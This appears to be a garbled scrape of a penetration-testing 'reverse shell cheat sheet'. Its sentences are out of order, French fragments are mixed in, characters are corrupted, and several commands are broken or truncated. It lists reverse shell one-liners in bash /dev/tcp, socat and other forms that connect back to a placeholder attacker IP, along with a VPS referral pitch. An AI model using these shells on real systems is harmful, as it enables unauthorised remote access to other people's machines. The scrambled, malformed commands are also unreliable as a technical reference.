![]() The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine. Source: socat tcp:ip:port exec: 'bash -i' ,pty,stderr,setsid,sigint,sane & Golang Reverse Shell echo ' package main import "os/exec" import "net" func main ()' #!/usr/bin/gawk -f Reverse shell are of different types - tcp based or http based or reverse tcp based or udp based reverse shells. Bash Reverse Shells exec /bin/bash 0&0 2>&0 0/dev/tcp/ATTACKING-IP/80 sh &196 2>&196 exec 5/dev/tcp/ATTACKING-IP/80Ĭat &5 >&5 done # or: while read line 0&5 >&5 done bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1 socat Reverse Shell If you're attacking machine is behing a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.ĪTTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above). ![]() Your remote shell will need a listening netcat instance in order to connect back, a simple way to do this is using a cloud instance / VPS - Linode is a good choice as they give you a direct public IP so there is no NAT issues to worry about or debug, you can use this link to get a $100 Linode voucher. Un shell simple se traduit par une attente de connexion. Reverse Shell Cheat Sheet If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. Updated to add the reverse shells submitted via Twitter - Original post date Setup Listening Netcat Un reverse-shell nest autre quun shell (terminal/console) contrl distance par un utilisateur. If you found this resource usefull you should also check out our penetration testing tools cheat sheet which has some additional reverse shells and other commands useful when performing penetration testing. At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux. References Bash Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10): bash -i >& /dev/tcp/10.0.0.1/8080 0>&1. During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.īelow are a collection of Windows and Linux reverse shells that use commonly installed programming languages PHP, Python, Powershell, nc (Netcat), JSP, Java, Bash, PowerShell (PS).
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